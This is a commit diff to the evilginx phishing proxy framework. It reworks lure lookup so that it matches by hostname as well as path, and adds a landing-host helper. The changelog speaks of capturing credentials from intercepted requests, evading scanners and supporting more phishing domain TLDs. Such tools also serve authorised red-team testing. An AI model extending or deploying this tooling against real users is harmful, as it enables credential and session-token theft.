extra fix for infinite redirection loop

CHANGELOG

@@ -10,6 +10,7 @@
 - Fixed: Unauthorized redirects and blacklisting would be ignored for `proxy_hosts` with `session: false` (default) making it easy to detect evilginx by external scanners.
 - Fixed: IP address `127.0.0.1` is now ignored from being added to the IP blacklist.
 - Fixed: Added support for more TLDs to use with phishing domains (e.g. `xyz`, `art`, `tech`, `wiki`, `lol` & more)
+- Fixed: Credentials will now be captured also from intercepted requests.
 
 # 3.2.0
 - Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.

core/config.go

@@ -738,11 +738,16 @@ func (c *Config) GetLure(index int) (*Lure, error) {
 	}
 }
 
-func (c *Config) GetLureByPath(site string, path string) (*Lure, error) {
+func (c *Config) GetLureByPath(site string, host string, path string) (*Lure, error) {
 	for _, l := range c.lures {
 		if l.Phishlet == site {
-			if l.Path == path {
-				return l, nil
+			pl, err := c.GetPhishlet(site)
+			if err == nil {
+				if host == l.Hostname || host == pl.GetLandingPhishHost() {
+					if l.Path == path {
+						return l, nil
+					}
+				}
 			}
 		}
 	}

core/http_proxy.go

@@ -300,7 +300,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 				req_ok := false
 				// handle session
 				if p.handleSession(req.Host) && pl != nil {
-					l, err := p.cfg.GetLureByPath(pl_name, req_path)
+					l, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
 					if err == nil {
 						log.Debug("triggered lure for path '%s'", req_path)
 					}
@@ -470,7 +470,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 
 				if ps.SessionId != "" {
 					if s, ok := p.sessions[ps.SessionId]; ok {
-						l, err := p.cfg.GetLureByPath(pl_name, req_path)
+						l, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
 						if err == nil {
 							// show html redirector if it is set for the current lure
 							if l.Redirector != "" {
@@ -576,7 +576,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 
 				// redirect to login page if triggered lure path
 				if pl != nil {
-					_, err := p.cfg.GetLureByPath(pl_name, req_path)
+					_, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
 					if err == nil {
 						// redirect from lure path to login url
 						rurl := pl.GetLoginUrl()

core/phishlet.go

@@ -795,6 +795,18 @@ func (p *Phishlet) GetLoginUrl() string {
 	return "https://" + p.login.domain + p.login.path
 }
 
+func (p *Phishlet) GetLandingPhishHost() string {
+	for _, ph := range p.proxyHosts {
+		if ph.is_landing {
+			phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
+			if ok {
+				return combineHost(ph.phish_subdomain, phishDomain)
+			}
+		}
+	}
+	return ""
+}
+
 func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, string, error) {
 	for _, js := range p.js_inject {
 		host_matched := false